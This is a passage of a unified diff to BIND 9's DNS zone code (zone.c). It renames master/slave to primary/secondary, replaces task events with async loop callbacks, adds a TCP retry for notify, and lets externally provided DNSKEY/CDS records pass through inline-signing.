-	if (temprdataset != NULL) {
-		dns_message_puttemprdataset(message, &temprdataset);
-	}
-	dns_message_detach(&message);
-	return (result);
 }
 
 isc_result_t
@@ -15116,7 +14924,7 @@ dns_zone_notifyreceive(dns_zone_t *zone, isc_sockaddr_t *from,
 	 * ROLLOVER.
 	 *
 	 * SOA:	RFC1996
-	 * Check that 'from' is a valid notify source, (zone->masters).
+	 * Check that 'from' is a valid notify source, (zone->primaries).
 	 *	Return DNS_R_REFUSED if not.
 	 *
 	 * If the notify message contains a serial number check it
@@ -15170,25 +14978,26 @@ dns_zone_notifyreceive(dns_zone_t *zone, isc_sockaddr_t *from,
 	}
 
 	/*
-	 * If we are a master zone just succeed.
+	 * If we are a primary zone just succeed.
 	 */
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		UNLOCK_ZONE(zone);
 		return (ISC_R_SUCCESS);
 	}
 
 	isc_netaddr_fromsockaddr(&netaddr, from);
-	for (i = 0; i < zone->masterscnt; i++) {
-		if (isc_sockaddr_eqaddr(from, &zone->masters[i])) {
+	for (i = 0; i < dns_remote_count(&zone->primaries); i++) {
+		isc_sockaddr_t sockaddr = dns_remote_addr(&zone->primaries, i);
+		if (isc_sockaddr_eqaddr(from, &sockaddr)) {
 			break;
 		}
 		if (zone->view->aclenv->match_mapped &&
 		    IN6_IS_ADDR_V4MAPPED(&from->type.sin6.sin6_addr) &&
-		    isc_sockaddr_pf(&zone->masters[i]) == AF_INET)
+		    isc_sockaddr_pf(&sockaddr) == AF_INET)
 		{
 			isc_netaddr_t na1, na2;
 			isc_netaddr_fromv4mapped(&na1, &netaddr);
-			isc_netaddr_fromsockaddr(&na2, &zone->masters[i]);
+			isc_netaddr_fromsockaddr(&na2, &sockaddr);
 			if (isc_netaddr_equal(&na1, &na2)) {
 				break;
 			}
@@ -15196,21 +15005,22 @@ dns_zone_notifyreceive(dns_zone_t *zone, isc_sockaddr_t *from,
 	}
 
 	/*
-	 * Accept notify requests from non masters if they are on
+	 * Accept notify requests from non primaries if they are on
 	 * 'zone->notify_acl'.
 	 */
 	tsigkey = dns_message_gettsigkey(msg);
 	tsig = dns_tsigkey_identity(tsigkey);
-	if (i >= zone->masterscnt && zone->notify_acl != NULL &&
+	if (i >= dns_remote_count(&zone->primaries) &&
+	    zone->notify_acl != NULL &&
 	    (dns_acl_match(&netaddr, tsig, zone->notify_acl, zone->view->aclenv,
 			   &match, NULL) == ISC_R_SUCCESS) &&
 	    match > 0)
 	{
 		/* Accept notify. */
-	} else if (i >= zone->masterscnt) {
+	} else if (i >= dns_remote_count(&zone->primaries)) {
 		UNLOCK_ZONE(zone);
 		dns_zone_log(zone, ISC_LOG_INFO,
-			     "refused notify from non-master: %s", fromtext);
+			     "refused notify from non-primary: %s", fromtext);
 		inc_stats(zone, dns_zonestatscounter_notifyrej);
 		return (DNS_R_REFUSED);
 	}
@@ -15545,7 +15355,8 @@ zone_namerd_tostr(dns_zone_t *zone, char *buf, size_t length) {
 	isc_buffer_init(&buffer, buf, (unsigned int)length - 1);
 	if (zone->type != dns_zone_redirect && zone->type != dns_zone_key) {
 		if (dns_name_dynamic(&zone->origin)) {
-			result = dns_name_totext(&zone->origin, true, &buffer);
+			result = dns_name_totext(
+				&zone->origin, DNS_NAME_OMITFINALDOT, &buffer);
 		}
 		if (result != ISC_R_SUCCESS &&
 		    isc_buffer_availablelength(&buffer) >=
@@ -15590,7 +15401,8 @@ zone_name_tostr(dns_zone_t *zone, char *buf, size_t length) {
 	 */
 	isc_buffer_init(&buffer, buf, (unsigned int)length - 1);
 	if (dns_name_dynamic(&zone->origin)) {
-		result = dns_name_totext(&zone->origin, true, &buffer);
+		result = dns_name_totext(&zone->origin, DNS_NAME_OMITFINALDOT,
+					 &buffer);
 	}
 	if (result != ISC_R_SUCCESS &&
 	    isc_buffer_availablelength(&buffer) >= (sizeof("<UNKNOWN>") - 1))
@@ -15632,7 +15444,8 @@ zone_viewname_tostr(dns_zone_t *zone, char *buf, size_t length) {
 	if (zone->view == NULL) {
 		isc_buffer_putstr(&buffer, "_none");
 	} else if (strlen(zone->view->name) <
-		   isc_buffer_availablelength(&buffer)) {
+		   isc_buffer_availablelength(&buffer))
+	{
 		isc_buffer_putstr(&buffer, zone->view->name);
 	} else {
 		isc_buffer_putstr(&buffer, "_toolong");
@@ -15802,9 +15615,9 @@ dns_zonetype_name(dns_zonetype_t type) {
 	switch (type) {
 	case dns_zone_none:
 		return ("none");
-	case dns_zone_master:
+	case dns_zone_primary:
 		return ("primary");
-	case dns_zone_slave:
+	case dns_zone_secondary:
 		return ("secondary");
 	case dns_zone_mirror:
 		return ("mirror");
@@ -15828,7 +15641,9 @@ dns_zone_getredirecttype(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 	REQUIRE(zone->type == dns_zone_redirect);
 
-	return (zone->masters == NULL ? dns_zone_master : dns_zone_slave);
+	return (dns_remote_addresses(&zone->primaries) == NULL
+			? dns_zone_primary
+			: dns_zone_secondary);
 }
 
 dns_name_t *
@@ -15838,29 +15653,6 @@ dns_zone_getorigin(dns_zone_t *zone) {
 	return (&zone->origin);
 }
 
-void
-dns_zone_settask(dns_zone_t *zone, isc_task_t *task) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	if (zone->task != NULL) {
-		isc_task_detach(&zone->task);
-	}
-	isc_task_attach(task, &zone->task);
-	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
-	if (zone->db != NULL) {
-		dns_db_settask(zone->db, zone->task);
-	}
-	ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
-	UNLOCK_ZONE(zone);
-}
-
-void
-dns_zone_gettask(dns_zone_t *zone, isc_task_t **target) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	isc_task_attach(zone->task, target);
-}
-
 void
 dns_zone_setidlein(dns_zone_t *zone, uint32_t idlein) {
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -15893,76 +15685,73 @@ dns_zone_getidleout(dns_zone_t *zone) {
 }
 
 static void
-notify_done(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *revent = (dns_requestevent_t *)event;
-	dns_notify_t *notify;
+notify_done(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	dns_notify_t *notify = dns_request_getarg(request);
 	isc_result_t result;
 	dns_message_t *message = NULL;
 	isc_buffer_t buf;
 	char rcode[128];
 	char addrbuf[ISC_SOCKADDR_FORMATSIZE];
 
-	UNUSED(task);
-
-	notify = event->ev_arg;
 	REQUIRE(DNS_NOTIFY_VALID(notify));
-	INSIST(task == notify->zone->task);
 
 	isc_buffer_init(&buf, rcode, sizeof(rcode));
 	isc_sockaddr_format(&notify->dst, addrbuf, sizeof(addrbuf));
 	dns_message_create(notify->zone->mctx, DNS_MESSAGE_INTENTPARSE,
 			   &message);
 
-	result = revent->result;
-	if (result == ISC_R_SUCCESS) {
-		result =
-			dns_request_getresponse(revent->request, message,
-						DNS_MESSAGEPARSE_PRESERVEORDER);
+	result = dns_request_getresult(request);
+	if (result != ISC_R_SUCCESS) {
+		goto fail;
 	}
-	if (result == ISC_R_SUCCESS) {
-		result = dns_rcode_totext(message->rcode, &buf);
+
+	result = dns_request_getresponse(request, message,
+					 DNS_MESSAGEPARSE_PRESERVEORDER);
+	if (result != ISC_R_SUCCESS) {
+		goto fail;
 	}
+
+	result = dns_rcode_totext(message->rcode, &buf);
 	if (result == ISC_R_SUCCESS) {
 		notify_log(notify->zone, ISC_LOG_DEBUG(3),
 			   "notify response from %s: %.*s", addrbuf,
 			   (int)buf.used, rcode);
-	} else {
-		notify_log(notify->zone, ISC_LOG_DEBUG(2),
-			   "notify to %s failed: %s", addrbuf,
-			   dns_result_totext(result));
 	}
 
-	/*
-	 * Old bind's return formerr if they see a soa record.	Retry w/o
-	 * the soa if we see a formerr and had sent a SOA.
-	 */
-	isc_event_free(&event);
-	if (message->rcode == dns_rcode_formerr &&
-	    (notify->flags & DNS_NOTIFY_NOSOA) == 0)
-	{
-		bool startup;
+fail:
+	dns_message_detach(&message);
 
-		notify->flags |= DNS_NOTIFY_NOSOA;
+	if (result == ISC_R_SUCCESS) {
+		notify_log(notify->zone, ISC_LOG_DEBUG(1),
+			   "notify to %s successful", addrbuf);
+	} else if (result == ISC_R_SHUTTINGDOWN || result == ISC_R_CANCELED) {
+		/* just destroy the notify */
+	} else if ((notify->flags & DNS_NOTIFY_TCP) == 0) {
+		notify_log(notify->zone, ISC_LOG_NOTICE,
+			   "notify to %s failed: %s: retrying over TCP",
+			   addrbuf, isc_result_totext(result));
+		notify->flags |= DNS_NOTIFY_TCP;
 		dns_request_destroy(&notify->request);
-		startup = (notify->flags & DNS_NOTIFY_STARTUP);
-		result = notify_send_queue(notify, startup);
-		if (result != ISC_R_SUCCESS) {
-			notify_destroy(notify, false);
-		}
+		notify_send_queue(notify, (notify->flags & DNS_NOTIFY_STARTUP));
+		return;
+	} else if (result == ISC_R_TIMEDOUT) {
+		notify_log(notify->zone, ISC_LOG_WARNING,
+			   "notify to %s failed: %s: retries exceeded", addrbuf,
+			   isc_result_totext(result));
 	} else {
-		if (result == ISC_R_TIMEDOUT) {
-			notify_log(notify->zone, ISC_LOG_DEBUG(1),
-				   "notify to %s: retries exceeded", addrbuf);
-		}
-		notify_destroy(notify, false);
+		notify_log(notify->zone, ISC_LOG_WARNING,
+			   "notify to %s failed: %s", addrbuf,
+			   isc_result_totext(result));
 	}
-	dns_message_detach(&message);
+	notify_destroy(notify, false);
 }
 
-struct secure_event {
-	isc_event_t e;
+struct rss {
+	dns_zone_t *zone;
 	dns_db_t *db;
 	uint32_t serial;
+	ISC_LINK(struct rss) link;
 };
 
 static void
@@ -15971,6 +15760,184 @@ update_log_cb(void *arg, dns_zone_t *zone, int level, const char *message) {
 	dns_zone_log(zone, level, "%s", message);
 }
 
+static isc_result_t
+dnskey_inuse(dns_zone_t *zone, dns_rdata_t *rdata, isc_mem_t *mctx,
+	     dns_dnsseckeylist_t *keylist, bool *inuse) {
+	isc_result_t result;
+	dst_key_t *dstkey = NULL;
+
+	result = dns_dnssec_keyfromrdata(dns_zone_getorigin(zone), rdata, mctx,
+					 &dstkey);
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_log(zone, ISC_LOG_ERROR,
+			     "dns_dnssec_keyfromrdata() failed: %s",
+			     isc_result_totext(result));
+		return (result);
+	}
+
+	for (dns_dnsseckey_t *k = ISC_LIST_HEAD(*keylist); k != NULL;
+	     k = ISC_LIST_NEXT(k, link))
+	{
+		if (dst_key_pubcompare(k->key, dstkey, false)) {
+			*inuse = true;
+			break;
+		}
+	}
+
+	dst_key_free(&dstkey);
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+cdnskey_inuse(dns_zone_t *zone, dns_rdata_t *rdata,
+	      dns_dnsseckeylist_t *keylist, bool *inuse) {
+	isc_result_t result;
+	dns_rdata_cdnskey_t cdnskey;
+
+	result = dns_rdata_tostruct(rdata, &cdnskey, NULL);
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_log(zone, ISC_LOG_ERROR,
+			     "dns_rdata_tostruct(cdnskey) failed: %s",
+			     isc_result_totext(result));
+		return (result);
+	}
+
+	for (dns_dnsseckey_t *k = ISC_LIST_HEAD(*keylist); k != NULL;
+	     k = ISC_LIST_NEXT(k, link))
+	{
+		dns_rdata_t cdnskeyrdata = DNS_RDATA_INIT;
+		unsigned char keybuf[DST_KEY_MAXSIZE];
+
+		result = dns_dnssec_make_dnskey(k->key, keybuf, sizeof(keybuf),
+						&cdnskeyrdata);
+		if (result != ISC_R_SUCCESS) {
+			dns_zone_log(zone, ISC_LOG_ERROR,
+				     "dns_dnssec_make_dnskey() failed: %s",
+				     isc_result_totext(result));
+			return (result);
+		}
+
+		cdnskeyrdata.type = dns_rdatatype_cdnskey;
+		if (dns_rdata_compare(rdata, &cdnskeyrdata) == 0) {
+			*inuse = true;
+			break;
+		}
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+cds_inuse(dns_zone_t *zone, dns_rdata_t *rdata, dns_dnsseckeylist_t *keylist,
+	  bool *inuse) {
+	isc_result_t result;
+	dns_rdata_ds_t cds;
+
+	result = dns_rdata_tostruct(rdata, &cds, NULL);
+	if (result != ISC_R_SUCCESS) {
+		dns_zone_log(zone, ISC_LOG_ERROR,
+			     "dns_rdata_tostruct(cds) failed: %s",
+			     isc_result_totext(result));
+		return (result);
+	}
+
+	for (dns_dnsseckey_t *k = ISC_LIST_HEAD(*keylist); k != NULL;
+	     k = ISC_LIST_NEXT(k, link))
+	{
+		dns_rdata_t dnskey = DNS_RDATA_INIT;
+		dns_rdata_t cdsrdata = DNS_RDATA_INIT;
+		unsigned char keybuf[DST_KEY_MAXSIZE];
+		unsigned char cdsbuf[DNS_DS_BUFFERSIZE];
+
+		if (dst_key_id(k->key) != cds.key_tag ||
+		    dst_key_alg(k->key) != cds.algorithm)
+		{
+			continue;
+		}
+		result = dns_dnssec_make_dnskey(k->key, keybuf, sizeof(keybuf),
+						&dnskey);
+		if (result != ISC_R_SUCCESS) {
+			dns_zone_log(zone, ISC_LOG_ERROR,
+				     "dns_dnssec_make_dnskey() failed: %s",
+				     isc_result_totext(result));
+			return (result);
+		}
+		result = dns_ds_buildrdata(dns_zone_getorigin(zone), &dnskey,
+					   cds.digest_type, cdsbuf, &cdsrdata);
+		if (result != ISC_R_SUCCESS) {
+			dns_zone_log(zone, ISC_LOG_ERROR,
+				     "dns_ds_buildrdata(keytag=%d, algo=%d, "
+				     "digest=%d) failed: %s",
+				     cds.key_tag, cds.algorithm,
+				     cds.digest_type,
+				     isc_result_totext(result));
+			return (result);
+		}
+
+		cdsrdata.type = dns_rdatatype_cds;
+		if (dns_rdata_compare(rdata, &cdsrdata) == 0) {
+			*inuse = true;
+			break;
+		}
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_zone_dnskey_inuse(dns_zone_t *zone, dns_rdata_t *rdata, bool *inuse) {
+	dns_dnsseckeylist_t keylist;
+	dns_dnsseckey_t *key = NULL;
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_mem_t *mctx;
+
+	REQUIRE(DNS_ZONE_VALID(zone));
+	REQUIRE(dns_rdatatype_iskeymaterial(rdata->type));
+
+	mctx = zone->mctx;
+
+	ISC_LIST_INIT(keylist);
+
+	*inuse = false;
+
+	dns_zone_lock_keyfiles(zone);
+	result = dns_dnssec_findmatchingkeys(dns_zone_getorigin(zone),
+					     dns_zone_getkeydirectory(zone),
+					     now, mctx, &keylist);
+	dns_zone_unlock_keyfiles(zone);
+	if (result == ISC_R_NOTFOUND) {
+		return (ISC_R_SUCCESS);
+	} else if (result != ISC_R_SUCCESS) {
+		dns_zone_log(zone, ISC_LOG_ERROR,
+			     "dns_dnssec_findmatchingkeys() failed: %s",
+			     isc_result_totext(result));
+		return (result);
+	}
+
+	switch (rdata->type) {
+	case dns_rdatatype_dnskey:
+		result = dnskey_inuse(zone, rdata, mctx, &keylist, inuse);
+		break;
+	case dns_rdatatype_cdnskey:
+		result = cdnskey_inuse(zone, rdata, &keylist, inuse);
+		break;
+	case dns_rdatatype_cds:
+		result = cds_inuse(zone, rdata, &keylist, inuse);
+		break;
+	default:
+		UNREACHABLE();
+		break;
+	}
+
+	while (!ISC_LIST_EMPTY(keylist)) {
+		key = ISC_LIST_HEAD(keylist);
+		ISC_LIST_UNLINK(keylist, key, link);
+		dns_dnsseckey_destroy(mctx, &key);
+	}
+	return (result);
+}
+
 static isc_result_t
 sync_secure_journal(dns_zone_t *zone, dns_zone_t *raw, dns_journal_t *journal,
 		    uint32_t start, uint32_t end, dns_difftuple_t **soatuplep,
@@ -16027,14 +15994,29 @@ sync_secure_journal(dns_zone_t *zone, dns_zone_t *raw, dns_journal_t *journal,
 			continue;
 		}
 
+		/*
+		 * Skip DNSSEC records that BIND maintains with inline-signing.
+		 */
 		if (rdata->type == dns_rdatatype_nsec ||
 		    rdata->type == dns_rdatatype_rrsig ||
 		    rdata->type == dns_rdatatype_nsec3 ||
-		    rdata->type == dns_rdatatype_dnskey ||
 		    rdata->type == dns_rdatatype_nsec3param)
 		{
 			continue;
 		}
+		/*
+		 * Allow DNSKEY, CDNSKEY, CDS because users should be able to
+		 * update the zone with these records from a different provider,
+		 * but skip records that are under our control.
+		 */
+		if (dns_rdatatype_iskeymaterial(rdata->type)) {
+			bool inuse = false;
+			isc_result_t r = dns_zone_dnskey_inuse(zone, rdata,
+							       &inuse);
+			if (r == ISC_R_SUCCESS && inuse) {
+				continue;
+			}
+		}
 
 		op = (n_soa == 1) ? DNS_DIFFOP_DEL : DNS_DIFFOP_ADD;
 
@@ -16080,9 +16062,11 @@ sync_secure_db(dns_zone_t *seczone, dns_zone_t *raw, dns_db_t *secdb,
 
 	for (tuple = ISC_LIST_HEAD(diff->tuples); tuple != NULL; tuple = next) {
 		next = ISC_LIST_NEXT(tuple, link);
+		/*
+		 * Skip DNSSEC records that BIND maintains with inline-signing.
+		 */
 		if (tuple->rdata.type == dns_rdatatype_nsec ||
 		    tuple->rdata.type == dns_rdatatype_rrsig ||
-		    tuple->rdata.type == dns_rdatatype_dnskey ||
 		    tuple->rdata.type == dns_rdatatype_nsec3 ||
 		    tuple->rdata.type == dns_rdatatype_nsec3param)
 		{
@@ -16090,6 +16074,23 @@ sync_secure_db(dns_zone_t *seczone, dns_zone_t *raw, dns_db_t *secdb,
 			dns_difftuple_free(&tuple);
 			continue;
 		}
+
+		/*
+		 * Allow DNSKEY, CDNSKEY, CDS because users should be able to
+		 * update the zone with these records from a different provider,
+		 * but skip records that are under our control.
+		 */
+		if (dns_rdatatype_iskeymaterial(tuple->rdata.type)) {
+			bool inuse = false;
+			isc_result_t r = dns_zone_dnskey_inuse(
+				seczone, &tuple->rdata, &inuse);
+			if (r == ISC_R_SUCCESS && inuse) {
+				ISC_LIST_UNLINK(diff->tuples, tuple, link);
+				dns_difftuple_free(&tuple);
+				continue;
+			}
+		}
+
 		if (tuple->rdata.type == dns_rdatatype_soa) {
 			if (tuple->op == DNS_DIFFOP_DEL) {
 				INSIST(oldtuple == NULL);
@@ -16113,7 +16114,8 @@ sync_secure_db(dns_zone_t *seczone, dns_zone_t *raw, dns_db_t *secdb,
 		 * If the SOA records are the same except for the serial
 		 * remove them from the diff.
 		 */
-		if (oldsoa.refresh == newsoa.refresh &&
+		if (oldtuple->ttl == newtuple->ttl &&
+		    oldsoa.refresh == newsoa.refresh &&
 		    oldsoa.retry == newsoa.retry &&
 		    oldsoa.minimum == newsoa.minimum &&
 		    oldsoa.expire == newsoa.expire &&
@@ -16149,44 +16151,35 @@ sync_secure_db(dns_zone_t *seczone, dns_zone_t *raw, dns_db_t *secdb,
 }
 
 static void
-receive_secure_serial(isc_task_t *task, isc_event_t *event) {
-	static char me[] = "receive_secure_serial";
+receive_secure_serial(void *arg) {
+	struct rss *rss = (struct rss *)arg;
+	dns_zone_t *zone = rss->zone;
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_journal_t *rjournal = NULL;
 	dns_journal_t *sjournal = NULL;
-	uint32_t start, end;
-	dns_zone_t *zone;
+	uint32_t start, end = rss->serial;
 	dns_difftuple_t *tuple = NULL, *soatuple = NULL;
 	dns_update_log_t log = { update_log_cb, NULL };
 	uint32_t newserial = 0, desired = 0;
 	isc_time_t timenow;
 	int level = ISC_LOG_ERROR;
 
-	UNUSED(task);
-
-	zone = event->ev_arg;
-	end = ((struct secure_event *)event)->serial;
-
 	ENTER;
 
 	LOCK_ZONE(zone);
 
 	/*
-	 * If we are already processing a receive secure serial event
-	 * for the zone, just queue the new one and exit.
+	 * The receive_secure_serial() is loop-serialized for the zone.  Make
+	 * sure there's no processing currently running.
 	 */
-	if (zone->rss_event != NULL && zone->rss_event != event) {
-		ISC_LIST_APPEND(zone->rss_events, event, ev_link);
-		UNLOCK_ZONE(zone);
-		return;
-	}
 
-nextevent:
-	if (zone->rss_event != NULL) {
-		INSIST(zone->rss_event == event);
+	INSIST(zone->rss == NULL || zone->rss == rss);
+
+	if (zone->rss != NULL) {
+		INSIST(zone->rss == rss);
 		UNLOCK_ZONE(zone);
 	} else {
-		zone->rss_event = event;
+		zone->rss = rss;
 		dns_diff_init(zone->mctx, &zone->rss_diff);
 
 		/*
@@ -16261,7 +16254,6 @@ receive_secure_serial(isc_task_t *task, isc_event_t *event) {
 					     start, end, &soatuple,
 					     &zone->rss_diff);
 		if (result == DNS_R_UNCHANGED) {
-			level = ISC_LOG_INFO;
 			goto failure;
 		} else if (result != ISC_R_SUCCESS) {
 			CHECK(sync_secure_db(zone, zone->rss_raw, zone->rss_db,
@@ -16306,9 +16298,10 @@ receive_secure_serial(isc_task_t *task, isc_event_t *event) {
 		if (rjournal != NULL) {
 			dns_journal_destroy(&rjournal);
 		}
-		isc_task_send(task, &event);
+		isc_async_run(zone->loop, receive_secure_serial, rss);
 		return;
 	}
+
 	/*
 	 * If something went wrong while trying to update the secure zone and
 	 * the latter was already signed before, do not apply raw zone deltas
@@ -16344,7 +16337,7 @@ receive_secure_serial(isc_task_t *task, isc_event_t *event) {
 	 * signature expiration.
 	 */
 	set_resigntime(zone);
-	TIME_NOW(&timenow);
+	timenow = isc_time_now();
 	zone_settimer(zone, &timenow);
 	UNLOCK_ZONE(zone);
 
@@ -16357,8 +16350,8 @@ receive_secure_serial(isc_task_t *task, isc_event_t *event) {
 	}
 
 failure:
-	isc_event_free(&zone->rss_event);
-	event = ISC_LIST_HEAD(zone->rss_events);
+	isc_mem_put(zone->mctx, rss, sizeof(*rss));
+	zone->rss = NULL;
 
 	if (zone->rss_raw != NULL) {
 		dns_zone_detach(&zone->rss_raw);
@@ -16366,11 +16359,14 @@ receive_secure_serial(isc_task_t *task, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		LOCK_ZONE(zone);
 		set_resigntime(zone);
-		TIME_NOW(&timenow);
+		timenow = isc_time_now();
 		zone_settimer(zone, &timenow);
 		UNLOCK_ZONE(zone);
+		if (result == DNS_R_UNCHANGED) {
+			level = ISC_LOG_INFO;
+		}
 		dns_zone_log(zone, level, "receive_secure_serial: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 	}
 	if (tuple != NULL) {
 		dns_difftuple_free(&tuple);
@@ -16396,36 +16392,22 @@ receive_secure_serial(isc_task_t *task, isc_event_t *event) {
 	}
 	dns_diff_clear(&zone->rss_diff);
 
-	if (event != NULL) {
-		LOCK_ZONE(zone);
-		isc_refcount_decrement(&zone->irefs);
-		ISC_LIST_UNLINK(zone->rss_events, event, ev_link);
-		goto nextevent;
-	}
-
-	event = ISC_LIST_HEAD(zone->rss_post);
-	while (event != NULL) {
-		ISC_LIST_UNLINK(zone->rss_post, event, ev_link);
-		rss_post(zone, event);
-		event = ISC_LIST_HEAD(zone->rss_post);
-	}
-
 	dns_zone_idetach(&zone);
 }
 
 static isc_result_t
 zone_send_secureserial(dns_zone_t *zone, uint32_t serial) {
-	isc_event_t *e;
-	dns_zone_t *dummy = NULL;
-
-	e = isc_event_allocate(zone->secure->mctx, zone,
-			       DNS_EVENT_ZONESECURESERIAL,
-			       receive_secure_serial, zone->secure,
-			       sizeof(struct secure_event));
-	((struct secure_event *)e)->serial = serial;
+	struct rss *rss = NULL;
+
+	rss = isc_mem_get(zone->secure->mctx, sizeof(*rss));
+	*rss = (struct rss){
+		.serial = serial,
+		.link = ISC_LINK_INITIALIZER,
+	};
+
 	INSIST(LOCKED_ZONE(zone->secure));
-	zone_iattach(zone->secure, &dummy);
-	isc_task_send(zone->secure->task, &e);
+	zone_iattach(zone->secure, &rss->zone);
+	isc_async_run(zone->secure->loop, receive_secure_serial, rss);
 
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_SENDSECURE);
 	return (ISC_R_SUCCESS);
@@ -16433,7 +16415,7 @@ zone_send_secureserial(dns_zone_t *zone, uint32_t serial) {
 
 static isc_result_t
 checkandaddsoa(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	       dns_rdataset_t *rdataset, uint32_t oldserial) {
+	       dns_name_t *name, dns_rdataset_t *rdataset, uint32_t oldserial) {
 	dns_rdata_soa_t soa;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdatalist_t temprdatalist;
@@ -16441,8 +16423,6 @@ checkandaddsoa(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	isc_buffer_t b;
 	isc_result_t result;
 	unsigned char buf[DNS_SOA_BUFFERSIZE];
-	dns_fixedname_t fixed;
-	dns_name_t *name;
 
 	result = dns_rdataset_first(rdataset);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -16478,12 +16458,8 @@ checkandaddsoa(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	ISC_LIST_APPEND(temprdatalist.rdata, &rdata, link);
 
 	dns_rdataset_init(&temprdataset);
-	result = dns_rdatalist_tordataset(&temprdatalist, &temprdataset);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(&temprdatalist, &temprdataset);
 
-	name = dns_fixedname_initname(&fixed);
-	result = dns_db_nodefullname(db, node, name);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	dns_rdataset_getownercase(rdataset, name);
 	dns_rdataset_setownercase(&temprdataset, name);
 	return (dns_db_addrdataset(db, node, version, 0, &temprdataset, 0,
@@ -16582,7 +16558,8 @@ save_nsec3param(dns_zone_t *zone, nsec3paramlist_t *nsec3list) {
 		 * Do we have a valid private record?
 		 */
 		if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 
@@ -16596,7 +16573,8 @@ save_nsec3param(dns_zone_t *zone, nsec3paramlist_t *nsec3list) {
 			rdata.data[1] = 0;
 
 			for (nsec3p = ISC_LIST_HEAD(*nsec3list); nsec3p != NULL;
-			     nsec3p = next) {
+			     nsec3p = next)
+			{
 				next = ISC_LIST_NEXT(nsec3p, link);
 
 				if (nsec3p->length == rdata.length + 1 &&
@@ -16692,9 +16670,8 @@ restore_nsec3param(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *version,
 }
 
 static isc_result_t
-copy_non_dnssec_records(dns_zone_t *zone, dns_db_t *db, dns_db_t *version,
-			dns_db_t *rawdb, dns_dbiterator_t *dbiterator,
-			unsigned int *oldserial) {
+copy_non_dnssec_records(dns_db_t *db, dns_db_t *version, dns_db_t *rawdb,
+			dns_dbiterator_t *dbiterator, unsigned int *oldserial) {
 	dns_dbnode_t *rawnode = NULL, *node = NULL;
 	dns_fixedname_t fixed;
 	dns_name_t *name = dns_fixedname_initname(&fixed);
@@ -16714,7 +16691,7 @@ copy_non_dnssec_records(dns_zone_t *zone, dns_db_t *db, dns_db_t *version,
 		goto cleanup;
 	}
 
-	result = dns_db_allrdatasets(rawdb, rawnode, NULL, 0, &rdsit);
+	result = dns_db_allrdatasets(rawdb, rawnode, NULL, 0, 0, &rdsit);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
@@ -16728,21 +16705,20 @@ copy_non_dnssec_records(dns_zone_t *zone, dns_db_t *db, dns_db_t *version,
 		if (rdataset.type == dns_rdatatype_nsec ||
 		    rdataset.type == dns_rdatatype_rrsig ||
 		    rdataset.type == dns_rdatatype_nsec3 ||
-		    rdataset.type == dns_rdatatype_dnskey ||
 		    rdataset.type == dns_rdatatype_nsec3param)
 		{
-			/*
-			 * Allow DNSSEC records with dnssec-policy.
-			 * WMM: Perhaps add config option for it.
-			 */
-			if (dns_zone_getkasp(zone) == NULL) {
-				dns_rdataset_disassociate(&rdataset);
-				continue;
-			}
+			dns_rdataset_disassociate(&rdataset);
+			continue;
 		}
+		/*
+		 * Allow DNSKEY, CDNSKEY, CDS because users should be able to
+		 * update the zone with these records from a different provider,
+		 * and thus they may exist in the raw version of the zone.
+		 */
+
 		if (rdataset.type == dns_rdatatype_soa && oldserial != NULL) {
-			result = checkandaddsoa(db, node, version, &rdataset,
-						*oldserial);
+			result = checkandaddsoa(db, node, version, name,
+						&rdataset, *oldserial);
 		} else {
 			result = dns_db_addrdataset(db, node, version, 0,
 						    &rdataset, 0, NULL);
@@ -16770,33 +16746,26 @@ copy_non_dnssec_records(dns_zone_t *zone, dns_db_t *db, dns_db_t *version,
 }
 
 static void
-receive_secure_db(isc_task_t *task, isc_event_t *event) {
+receive_secure_db(void *arg) {
 	isc_result_t result;
-	dns_zone_t *zone;
-	dns_db_t *rawdb, *db = NULL;
+	struct rss *rss = (struct rss *)arg;
+	dns_zone_t *zone = rss->zone;
+	dns_db_t *rawdb = rss->db, *db = NULL;
 	dns_dbiterator_t *dbiterator = NULL;
 	dns_dbversion_t *version = NULL;
 	isc_time_t loadtime;
 	unsigned int oldserial = 0, *oldserialp = NULL;
 	nsec3paramlist_t nsec3list;
-	isc_event_t *setnsec3param_event;
-	dns_zone_t *dummy;
-
-	UNUSED(task);
 
 	ISC_LIST_INIT(nsec3list);
 
-	zone = event->ev_arg;
-	rawdb = ((struct secure_event *)event)->db;
-	isc_event_free(&event);
-
 	LOCK_ZONE(zone);
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING) || !inline_secure(zone)) {
 		result = ISC_R_SHUTTINGDOWN;
 		goto failure;
 	}
 
-	TIME_NOW(&loadtime);
+	loadtime = isc_time_now();
 	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
 	if (zone->db != NULL) {
 		result = dns_db_getsoaserial(zone->db, NULL, &oldserial);
